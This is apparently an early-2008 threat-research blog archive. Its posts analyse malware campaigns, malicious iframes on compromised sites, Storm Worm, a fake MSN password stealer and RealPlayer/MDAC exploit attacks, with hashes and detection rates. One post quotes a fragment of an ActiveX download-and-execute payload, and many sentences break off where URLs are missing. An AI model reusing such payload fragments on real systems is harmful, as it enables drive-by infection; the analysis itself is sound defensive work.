Thursday, January 31, 2008

The Shark3 Malware is in the Wild

Life's too short to live in uncertainty, the stakes are too high. A month ago, I indicated the upcoming release of the third version of the script kiddies favorite Shark Malware. Despite that after the negative publicity of the malware that's actually promotd as a RAT, the authors supposedly abondoned the malware, they seem to have logically resumed its development. And so, the Shark3 malware is continuing its development.
What's new? Anti-debugger capabilities in particural against - VmWare, Norman Sandbox, Sandboxie, VirtualPC, Symantec Sandbox, Virtual Box etc.

Detection rate : Result: 15/31 (48.39%) - Backdoor.Win32.Shark.if
File size: 3104768 bytes
MD5: e3a6758f5c90b39b59c6cd7551224d52
SHA1: 25f025f31560a28275aab006e04aace828e012ea

Some key points regarding Shark :

- its do-it-yourself nature, just like many of the malware tools I've covered before is empowering script kiddies with advanced point'n'click capabilities

- built-in spyware functionaly, namely "aggressive service" which resets the start-up values when they're delted, yet another indication that what's pitched as a RAT is in fact malware

- once released in an open source form, a community emerges around it one that starts innovating and coming up with new features

Monday, January 28, 2008

The Dutch Embassy in Moscow Serving Malware

The Register reports that the Royal Netherlands Embassy in Moscow was serving malware to its visitors at the beginning of last week :

"Earlier this week, the site for the Netherlands Embassy in Russia was caught serving a script that tried to dupe people into installing software that made their machines part of a botnet, according to Ofer Elzam, director of product management for eSafe, a business unit of Aladdin that blocks malicious web content from its customers' networks."

Let's be a little more descriptive. The only IP that was included in the IFRAME was which was then forwarding to (also responding to and has been down as of 22 Jan 2008 18:56:38 GMT, but apparantly it was also used in several other malware embedded attacks. For instance, the IFRAME is currently active at The secondary IFRAME is a redirector script in a traffic management script that can load several different URLs, to both, generate fake visits to certain sites that are paying for this, and a live exploit URL as it happens in between.

Historical preservation of actionable intelligence on who's what and what's when is a necessity. Here are for instance two far more in-depth assessments given the exploits URLs were still alive back then, discussing the malware embedded at the sites of the U.S Consulate in St. Petersburg, and the Syrian Embassy in the U.K.

Related posts:
MDAC ActiveX Code Execution Exploit Still in the Wild
Malware Serving Exploits Embedded Sites as Usual
Massive RealPlayer Exploit Embedded Attack
A Portfolio of Malware Embedded Magazines
The New Media Malware Gang
The New Media Malware Gang - Part Two
Another Massive Embedded Malware Attack
I See Alive IFRAMEs Everywhere
I See Alive IFRAMEs Everywhere - Part Two
Have Your Malware in a Timely Fashion
Cached Malware Embedded Sites
Compromised Sites Serving Malware and Spam
Malware Serving Online Casinos

Monday, January 21, 2008

Mujahideen Secrets 2 Encryption Tool Released

Originally introduced by the Global Islamic Media Front (GIMF), the second version of the Mujahideen Secrets encryption tool was released online approximately two days ago, on behalf of the Al-Ekhlaas Islamic Network. Original and translated press release :

"Is the first program of the Islamic multicast security across networks. It represents the highest level of technical multicast encrypted but far superior. All communications software, which are manufactured by major companies in the world so that integrates all services communications encrypted in the small-sized portable. Release I of the "secrets of the mujahideen" the bulletin brothers in the International Islamic Front and the media have registered so scoop qualitatively in the field of information and jihadist exploit the opportunity to thank them for their wonderful and distinctive. And the continuing support of a media jihadist group loyalty in the technical development of a network of Islamic loyalty program and the issuance of this version, in support of the mujahideen general and the Islamic State of Iraq in particular."

Key features in the first version :

-- Encryption algorithms using the best five in cryptography. (AES finalist algorithms)

-- Symmetrical encryption keys along the 256-bit (Ultra Strong Symmetric Encryption)

-- Encryption keys for symmetric length of 2048-bit RSA (husband of a public key and private)

-- Pressure data ROM (the highest levels of pressure)

-- Keys and encryption algorithms changing technology ghost (Stealthy Cipher)

-- Automatic identification algorithm encryption during decoding (Cipher Auto-detection)

-- Program consisting of one file Facility file does not need assistance to install and can run from the memory portable

-- Scanning technology security for the files to be cleared with the impossibility of retrieving files (Files Shredder)

New features introduced in the second version :

-- Multicast encrypted via text messages supporting the immediate use forums (Secure Messaging)

-- Transfer files of all kinds to be shared across texts forums (Files to Text Encoding)

-- Production of digital signature files and make sure it is correct

-- Digital signature of messages and files and to ensure the authenticity of messages and files

So far, Reuters picked up the topic - Jihadi software promises secure Web contacts :

"The efficacy of the new Arabic-language software to ensure secure e-mail and other communications could not be immediately gauged. But some security experts had warned that the wide distribution of its earlier version among Islamists and Arabic-speaking hackers could prove significant. Al Qaeda supporters widely use the Internet to spread the group's statements through hundreds of Islamist sites where anyone can post messages. Al Qaeda-linked groups also set up their own sites, which frequently have to move after being shut by Internet service providers."

Needless to say that the new features, even the fact that they've updated the program has to be discussed from a strategic perspective. The improved GUI and the introduction of digital signing makes the program a handy tool for the desktop of the average cyber jihadist, average in respect to more advanced data hiding techniques, ones already discussed in previous issues of the Technical Mujahid E-zine. With the tempting feature to embedd the encrypted message on a web page instead of sending it, a possibility that's always been there namely to use the Dark Web for secure communication tool is getting closer to reality. Knowing that trying to directly break the encryption is impractical, coming up with pragmatic ways to obtain the passphrase is what government funded malware coders are trying to figure out. Screenshots courtesy of the tool's tutorial.

E-crime and Socioeconomic Factors

Interesting points by F-Secure with two main issues covered, namely the lack of employment opportunities for skilled IT people who turn to cyber crime to make a living, and the emerging economies across the globe, whose citizens in their early stages of embracing new economic models will suffer from the inevitable unequal distribution of income due to their government's lack of experience or motivation. To me, however, it's more sociocultural than socioeconomic factors that contribute to these future developments. Several more key points worth discussing :

- Malware is no longer created, it's being generated

The myth of someone reinventing the wheel, namely coding a malware bot from scratch is no longer realistic. Modern malware is open source, modular, localized to different languages, comes with extensive documentation/comments and HOWTO guides/videos. Moreover, these publicly obtainable open source malware bots were released in the wild for free, namely, the coders that originally started the "generators" or the "compilers" generation took, and enjoyed only the fame that came with coming up with the most widely used and successful bot family. Take Pinch for instance and the recent arrest of the "coders". New and improved versions of Pinch are making their rounds online, but how is this possible since the people behind it are no longer able to update it? To achieve immortality for Pinch, they've released it as open source tool, namely anyone can use its successful foundation for any other upcoming innovation. The original coders are gone, the "malware generators" and the "compilers" are cheering since they still have access to the tool. Another popular entry obstacle such as advanced coding skills is gone, anyone can compile, generate and spread the samples, or used them for targeted attacks.

- "Will code malware for food" type of individuals don't really exist anymore

A cat doesn't eat mice when it's hungry, it eats mice when it's already been fed, and therefore does it for prestige and entertainment. Storm Worm is not released by the "desperation department", it's an investment on behalf of someone who will monetize the infected hosts, or who has outsourced the infection process to botnet aggregators. Moreover, there's no lack of IT employment opportunities in times of growing economy, exactly the opposite, the economy is booming, investments are made in networks and infrastructure and therefore people will start receiving incentives for training and therefore the demand for IT experts will increase given the government is visionary enough to invest in the long-term, in terms of education and training. If it's not, structural unemployment will undermine the local industry, you'll end up with software engineers working at the local McDonald's during the day, and coding malware during the night - a stereotype. For instance, go through this article and notice the quote regarding the attitude towards the U.S. Malware coders/generators aren't on the verge of starvation, they're on a mission with or without actually realizing it :

"I don't see in this a big tragedy," said a respondent who used the name Lightwatch. "Western countries played not the smallest role in the fall of the Soviet Union. But the Russians have a very amusing feature — they are able to get up from their knees, under any conditions or under any circumstances. As for the West? "You are getting what you deserve."

It's a type of "Why are you doing me a favour that I still cannnot appreciate?" issue, collectivism vs individualistic societies. E-crime is not just easy to outsource, but the entry barriers in space are so low, we can easily argue it's no longer about the lack of capabilities, but the lack of motivation to participate, and actually survive, that drive E-crime particularly in respect to malware. From an economic perspective, the Underground Economy's high liquidity is perhaps the most logical incentive to participate, which is a clear indication on the transparency and communication that parties involved have managed to achieve.

Thursday, January 17, 2008

DIY Fake MSN Client Stealing Passwords

This tool deserves our attention mostly because of its do-it-yourself (DIY) nature, just like the many other related ones I discussed before. Custom error messages, two options for to kill or restore MSN after the password is obtained, and custom FTP settings to upload the accounting data. Why did they choose FTP compared to email as the leak point for the data? From my perspective uploading the accounting data on an FTP server means compatibility from the perspective of easily obtaining the accounting data to be used as foundation for another MSN spreading malware or spim, compared to accessing it from an email account.

File size: 888832 bytes
MD5: 02b0d887aa1cbfd4f602de83f79cf571
SHA1: da49527e96bb998b3763c1d45db97a4d3bccea7a

A sample is detected as W32/VB-Remote-TClient-based!Maximus.

In related news, MSN is said to be the most targeted IM client :

"Within the IM category, 19 percent of threats were reported on the AOL Instant Messenger network, 45 percent on MSN Messenger, 20 percent on Yahoo! Instant Messenger and 15 percent on all other IM networks including Jabber-based IM private networks. Attacks on these private networks have more than doubled in share since 2003, rising from seven percent of all IM attacks to 15 percent in 2007."

As always, it's a matter of a vendor's sensors network to come up with increasing or decreasing levels of a particular threat, but the pragmatic reality nowadays has to do with less IM spreading malware, and much, much more malware embedded trusted web sites.

Moreover, according to some publicly obtainable stats, IM spreading malware in general has been declining for the past two years, but how come? It's because of their broken and bit outdated social engineering model, namely the lack of messages localization, abuse of public events as windows of opportunities, and the lack of any kind of segmentation. One-to-many may be logical from an efficiency point of view, but it's like embedding a single exploit on hundreds of thousands of sites compared to a set of exploits, or a set of techniques like in this case.

Wednesday, January 16, 2008

Storm Worm's St. Valentine Campaign

The Riders on the Storm Worm started riding on yet another short term window of opportunity as always - St. Valentine's day with a mass mailing email campaign linking to two files with_love.exe and withlove.exe, using an already infected host as a propagation vector itself in the very same fashion they've been doing so far.

Detection rate : 3/32 (9.38%)
File size: 114689 bytes
MD5: 31ac9582674cad4c8c8068efb173d7c7
SHA1: cee93d3021318a34e188b8fae812aa929cb2bc9c

NOD32v2 - a variant of Win32/Nuwar
Prevx1 - Stormy:All Strains-All Variants
Webwasher-Gateway - Win32.Malware.gen!88 (suspicious)

The binary drops burito.ini (MD5 - A65FA0C23B1078B0758B80B5C0FD37F3) and burito1205-67d5.sys (MD5 - C4B9DD12714666C0707F5A6E39156C11), and creates the following registry entries :

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_BURITO1205-67D5 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_BURITO1205-67D5\0000 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\burito1205-67d5 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\burito1205-67d5\Security

Surprisingly, there are no client-side vulnerabilities used in last two campaigns.

Tuesday, January 15, 2008

The Random JS Malware Exploitation Kit

The Random JS infection kit as originally named by Finjan, is perhaps the first publicly announced malicious innovation for 2008, in fact I've managed to obtain a copy of a sample .js and witness the filename change on the next request combined with complete disappearance of any .js on the third visit. Here's some press coverage - "Over 10,000 trusted websites infected by new Trojan toolkit" :

"The random js attack is performed by dynamic embedding of scripts into a webpage. It provides a random filename that can only be accessed once. This dynamic embedding is done in such a selective manner that when a user has received a page with the embedded malicious script once, it will not be referenced again on further requests. This method prevents detection of the malware in later forensic analyses."

And several more articles - "Hacking Toolkit Compromises Thousands Of Web Servers" ; "Trojan toolkit infected 10000 Web sites in December" ; "Legitimate sites serving up stealthy attacks". Compared to all of the malware embedded attacks during 2007 which were serving the malware from a secondary domain, as well as the exploits themselves, in attack technique is hosting everything on the infected domain. Sample random and local malware locations :

Sample .js random filenames :

cgolu.js; czynd.js; eenom.js; eqfps.js; erztp.js; frpmg.js; iggmy.js; jiodm.js; khkev.js; kksyr.js; kobgw.js; kolqj.js; lvmlt.js; nrvaj.js; oalhi.js; pcqab.js; tezam.js; tfxep.js; unolc.js; vduoz.js;

Sample malware hosting URL snippet :","c:\\mosvs8.exe",5,1,"mosvs8"); } catch(OBJECT id=yah8 classid=clsid:24F3EAD6-8B87-4C1A-97DA-71C126BDA08F> try { yah8.GetFile(","c:\\mosvs8.exe",5,1,"mosvs8"); } catch(

Copies of the malware obtained mosvs8.exe -- and logically submitted to each and every anti virus vendor on behalf of VirusTotal just like every sample I ever came across to in the incident responses -- attempt to connect to,, and, making naughty web requests such as :

The following files are partly accessible at the still active C&C's, the first one for instance :


Did anti virus vendors come up with a detection pattern for the .js already? Partly.

Detection rate : Result: 11/32 (34.38%); JS/SillyDlScript.DG; Exploit:JS/Mult.K
File size: 31679 bytes
MD5: 93152dc2392349d828526157bf601677
SHA1: 1b10790d16c9c0d87132d40503b37f82b7f03560

And now that we've witnessed the execution of such an advanced and random attack approach limiting the possibilities for assessing the impact of a malware embedded attack the way it was done so far, we can only speculate on what's to come by the end of the first quarter of 2008. From my perspective however, the smartest thing in this type of attack technique is that they limit the leads they leave behind to the minimum, thus, forwarding the responsibility to the infected host and limiting the possibility for easy expanding of the rest of their ecosystem. Moreover, despite that the module or the actual kit if it's really a kit is a Proprietary Malware Tool for the time being, it will sooner or later leak out, and turn into a commodity, just like MPack and IcePack are these days.

RBN's Fake Account Suspended Notices

In the last quarter of 2007, under the public pressure put on the Russian Business Network's malicious practices, the RBN started faking the removal of malicious domains from its network by placing fake account suspended notices, but continuing the malware and exploit serving campaigns on them. And since I constantly monitor RBN activity, in particular their relationship with the New Media Malware Gang and Storm Worm, a relationship that I've in fact established several times before, a recently assessed malicious domain further expands their underground ecosystem. Let the data speak for itself : ( once deobfuscated loads :

Detection rate : 11/32 (34.38%)
File size: 6656 bytes
MD5: 5eb0ee32613d8a611b6dc848050f3871
SHA1: 55c0448645a8ed2e14e6826fae25f8f9c868be30

It gets even more interesting as the downloader attempts to download the following :

And as I've already pointed out in a previous post, is the New Media Malware Gang. Moreover, next to m.exe and d.exe with an over 50% detection rates, 200.exe is impressively detected by one anti virus vendor only :

Detection rate : 1/32 (3.13%)
File size: 33280 bytes
MD5: 9bf9265df5dea81135355d161f3522be
SHA1: 44cdcaf5e8791e10506e3343d73a2993511fa91f

Further continuing this assessment, ( also responds to, and is hosted at AS4657 STARHUBINTERNET AS Starhub Internet Pte Ltd 31, Kaki Bukit Rd 3 SINGAPORE (previously known as CyberWay Pte Ltd). Even more interesting is the fact that is also responding to known New Media Malware Gang domains :

Furthermore, seems to have made an appearance at, where in between the obfuscation an IFRAME loads to, where two more get loaded; Deja vu, again, again and again - was among the domains used in the malware embedded attack again the French government's site related to Lybia, and there I made the connection with the New Media Malware Gang for yet another time.

There's indeed a connection between the RBN, Storm Worm and the The New Media malware gang. The malware gang is either a customer of the RBN, partners with the RBN sharing know-how in exchange for infrastructure on behalf of the RBN, or RBN's actual operational department. Piece by piece and an ugly puzzle picture appears thanks to everyone monitoring the RBN that is still 100% operational.

Monday, January 14, 2008

PAINTing a Botnet IRC Channel

I suppose that even for a script kiddie it takes extra time and patience to come up with such a spoofed IRC channel getting crowded with infected hosts. Drawing courtesy of a script kiddie's wishful thinking. Here are some screenshots from the real world, and some of the most recent developments I covered in previous posts.

The Pseudo "Real Players"

What happened with the recent RealPlayer massive embedded malware attack? Two of the main hosts are now, and the third one is strangely loading an iframe to ISC's blog in between the following which was returning the following message during the last couple of hours "You're welcome for being saved from near infection".

As I'm sure others too like to analyze post incident response behavior of the malicious parties, in respect to this particular attack, during the weekend they took advantage of what's now a patent of the Russian Business Network, namely to serve a fake 404 error message but continue the campaign. However, in RBN's case, only the indexes were serving the fake account suspended messages, but the campaign was still active on the rest of the internal pages. In the RealPlayer's campaign case, the 404 error messages themselves were embedded with the same IFRAMEs as well, in order to make it look like there's an error, at least in front of the eyes of the average Internet user.

Despite that the main campaign domains are blocked on a worldwide scale, the hundreds of thousands of sites that originally participated are still not clean and continue trying to load the now down domains. Moreover, the big picture has to do with a fourth domain as well,, that used to be a part of the same type of massive malware embedded attack in November, 2007.

Why pseudo "real players" anyway? Because for this attack, they took advantage of what can be defined as a fad, namely the use seperate exploit as the cornerstone of the campaign, at least if its massive infection they wanted to achieve. The "real players" or script kiddies on the majority of occasions, serve exploits on a client-side matching basis, and therefore the more diverse the exploits set, the higher the probability a vulnerable application will be detected and exploited. Therefore, given the number of sites affected it could have been much worse than it is currently based on speculations of the success rate of the campaign in terms of infections, not the sites affected - a success by itself. Execution gone wrong given the foundation for the attack - until the next time.

Thursday, January 10, 2008

Malware Serving Exploits Embedded Sites as Usual

The combination of the recent RealPlayer exploit and MDAC is a fad, but the very same is getting embraced in the short-term by malicious parties in China that have also started combining the Internet Explorer VML Download and Execute Exploit (MS07-004), thanks to recent localized forum postings on modifying the third exploit. Let's assess several sample domains. ( is such a domain that's serving a combination of these starting with Exploit-MS07-004 :

Result: 12/32 (37.5%)
File size: 3432 bytes
MD5: bafab9b8e38527e9830047fd66b39532
SHA1: b81abcf63a2c4bcf43526f28aec20fca2f58d67c - MDAC also loads in between - real player unobfuscated, wheere all of these attempt to load - Worm.Win32.AutoRun.bkx; Win32/Cekar!generic

Result: 27/31 (87.10%)
File size: 19501 bytes
MD5: 7b101f7baeae0ebab9ecc06fdb9542dc
SHA1: 36ffa50ce3873fb04c13c80421c205a7760f47ca

The binary is using a default set of known executables of anti malware products, and is installing a default debugger injected upon execution of any of these, and is therefore successfully killing many of the applications.

Another exploit serving domain with a very diverse set of exploits used, but again serving the faddish RealPlayer plus MDAC combination is ( :

where all are trying to load :

Result: 24/32 (75%)
File size: 15456 bytes
MD5: 3a0804d8e12706e97cdda6aa4f50ef5f
SHA1: cfd2f158a658dc0d8618c35806b94008b4fb1c0f

The third domain is great example of what's an emerging trend rather than a fad, namely the use of comprehensive multiple IFRAMES loading campaigns. ( (IE COM CreateObject Code Execution (MS06-042) which loads, ( where the following try to load as well :

Two other IFRAMES within within, ( loads the same IFRAMES, and ( again loads the same IFRAMEs. It gets even more complicated and the ecosystem more comprehensive as the secondary IFRAMEs logically load many others such as :

The more complicated and dynamic these IFRAME-ing attacks get, the higher the campaign's lifecycle becomes, making it harder the determine where's the weakest link, and making it easier for the malicious parties to evaluate which node needs a boost by including new domains spread across different netblocks like this case.

Tuesday, January 08, 2008

The Invisible Blackhat SEO Campaign

Count this as a historical example of a blackhat SEO campaign, and despite that "Fresh Afield's" blog ( is now clean, cached copies confirm the existence of hidden links that were embedded on each and every post on it, apparently due to a compromise. The blackhat SEO links invisible embedded within the blog's posts on the other hand point to a compromised account at the Texas A&M University (, as you can see in the screenshot. Moreover, there's also a visible part of the campaign that was located under, and as usual, once the blackhat SEO pages were either uploaded or embedded like it happened in this case, the campaigns under the URL were spammed across the Internet.

Monday, January 07, 2008

MySpace Phishers Now Targeting Facebook

The "campaigners" behind the MySpace phishing attack which I briefly assessed in previous posts seem to have started targeting Facebook as well. Ryan Singel comments, and quotes me in a related article :

"Hackers for the first time are targeting the popular social networking site Facebook with a phishing scam that harvests users' login details and passwords. Some Facebook users checking their accounts Wednesday found odd postings of messages on their "wall" from one of their friends, saying: "lol i can't believe these pics got posted.... it's going to be BADDDD when her boyfriend sees these," followed by what looks like a genuine Facebook link. But the link leads to a fake Facebook login page hosted on a Chinese .cn domain. The fake page actually logs the victims into Facebook, but also keeps a copy of their user names and passwords."

Compared to their previous MySpace phishing campaign that was also serving malware in between, this was was purely done for stealing accounting data of Facebook users only. And as we're on a Facebook malicious campaigns topic, impersonating Facebook's login or web presence from a blackhat SEO perspective to serve malware is always trendy. Take this fake facebook login subdomain serving malware for instance - ( redirects to which attempts to load where is the adware in this case - Adware:Win32/SmitFraud. And yet another one - ( whose once deobfuscated javascript attempts to load ( Spammy, yammy.

Massive RealPlayer Exploit Embedded Attack

This malware embedded attack is massive and ugly, what's most disturbing about it is the number of sites affected, which speaks for coordination at least in respect to having established the infrastructure for serving the exploit before the vulnerability became public :

"One of our readers noted that there are a number of state government and educational sites that appear to have been compromised with the uc8010 domain. Upon review, I see that some of these have already been cleaned up. However, the .gov and .edu sites are only a few of the many many sites that are turned up via google searches for the uc8010 domain. As that domain was only registered as of Dec 28th, compromises of websites probably occurred in the past week."

According to SANS, there are only two domains involved in the attack and however, there's also a third one, namely This attack is nothing else but "embedded malware as usual", javascript obfuscations, multiple IFRAME redirectors to and from internal pages, and scripts within the domains. Let's assess those that are still active :

- returns "ok ^_^" message and loads ( which says "Hello", furthermore, loads; and

The internal structure is as follows : - attempts MDAC ActiveX code execution (CVE-2006-0003) in between the following - javascript obfuscation - real player exploit - javascript obfuscation - unobfuscated real player exploit

- ( - another obfuscation

- says "ok! ^_^ Don't hank me !" but compared to the first two that are still active, this one is down as of yesterday, despite that it still remains embedded on many sites

Detection rate for the unobfuscated exploit :
Result: 17/32 (53.13%) - Exploit-RealPlay; JS/RealPlay.B
File size: 3003 bytes
MD5: a85a28b686fc2deedb8d833feaacef16
SHA1: 0282e945ded85007b5f99ddee896ed5e31775715

Detection rate for the obfuscated exploit :
Result: 11/32 (34.38%) - JS/Agent.AMJ!exploit; Trojan-Downloader.JS.Agent.amj
File size: 2880 bytes
MD5: d363ffca061ebf564340c4ac899e3573
SHA1: 1226d3d9fcc5052a623b481b48443aeb246ab5db

A lot of university, and international government sites continue to be embedded with the script, and so is Computer Associates site according to this article :

"Part of security software vendor CA's Web site was hacked earlier this week and was redirecting visitors to a malicious Web site hosted in China. Although the problem now appears to have been corrected, cached versions of some pages in the press section of show that earlier this week the site had been redirecting visitors to the domain, which has been serving malicious software since late December, according to Marcus Sachs, director of the SANS Internet Storm Center."

Compared to each and every malware embedded attack that I assessed in 2007, including all of Storm Worm's campaigns, they were all relying on outdated vulnerabilities to achieve their success, but this one is taking advantage of the now old-fashioned window of opportunity courtesy of a malicious party enjoying the given the lack of a patch for the vulnerability. Why old-fashioned? Because malware exploitation kits like MPack, IcePack, WebAttacker, the Nuclear Malware Kit and Zunker, changed the threatscape by achieving a 100% success rate through first identifying the victim's browser, than serving the exact exploit. Another such one-vulnerability-serving malware embedded attack was the MDAC exploits farm spread across different networks I covered in a previous post. It's also interesting to note that a MDAC live exploit page was also found within what was originally thought to be a RealPlayer exploit serving campaign only. Shall we play the devil's advocate? The campaign would have been far more successful if a malware exploitation kit was used, as by using a single exploit only, the campaign's success entirely relies on the eventual presence of RealPlayer on the infected machine.